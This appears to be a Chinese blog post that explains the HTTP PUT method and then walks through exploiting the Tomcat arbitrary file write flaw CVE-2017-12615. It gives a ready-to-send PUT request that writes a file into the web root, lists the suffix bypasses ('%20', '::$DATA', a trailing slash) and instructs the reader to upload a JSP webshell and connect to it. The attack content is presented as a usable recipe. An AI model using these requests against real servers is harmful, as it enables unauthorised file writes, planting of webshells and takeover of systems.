• PUT方法写shell


    前言:

    PUT是http的一个请求方法

    PUT的前提,是了解HTTP协议。下面给出HTTP - PUT的一个模板:

    PUT /test.txt HTTP/1.1
    Accept: */*
    Accept-Language: en-US
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    Host: test.com:8080
    
    hello world

    发送请求后,访问.../text.txt将输出hello world

    要注意如下几个点:

    ① PUT方法是HTTP 1.1协议中才出现的。

    ② HTTP协议对空格敏感,每行数据的结尾不能出现空格

    ③ HTTP头部和数据中间要空一行,即HTTP头部是以 结尾的。

    ④ 端口号直接跟在HOST后面

    Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

    影响版本:

    Tomcat版本:8.5.19
    Apache Tomcat 7.0.0 - 7.0.79

    直接发送以下数据包即可在Web根目录写入shell:

    PUT /1.jsp/ HTTP/1.1
    Host: your-ip:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5
    
    shell

    shell那儿直接写入jsp的马,或者其他语言对应写对应的马,请求头参数可适当的根据实际情况改动。

    虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制:

    shell.jsp%20
    shell.jsp::$DATA
    shell.jsp/

    返回响应包的状态码为201说明写入成功。

    然后根目录跟上写入的.jsp文件即可访问。之后连马。

  • 相关阅读:
    HDU 4912 Paths on the tree(LCA+贪心)
    BZOJ 1044 木棍分割(二分答案 + DP优化)
    Codeforces 551E GukiZ and GukiZiana(分块思想)
    计蒜客 UCloud 的安全秘钥(随机化+Hash)
    HDU 5794 A Simple Chess(杨辉三角+容斥原理+Lucas定理)
    mac-profile
    mac-httpd
    launchctl
    brew
    操作系统
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11789597.html
Copyright © 2020-2023  润新知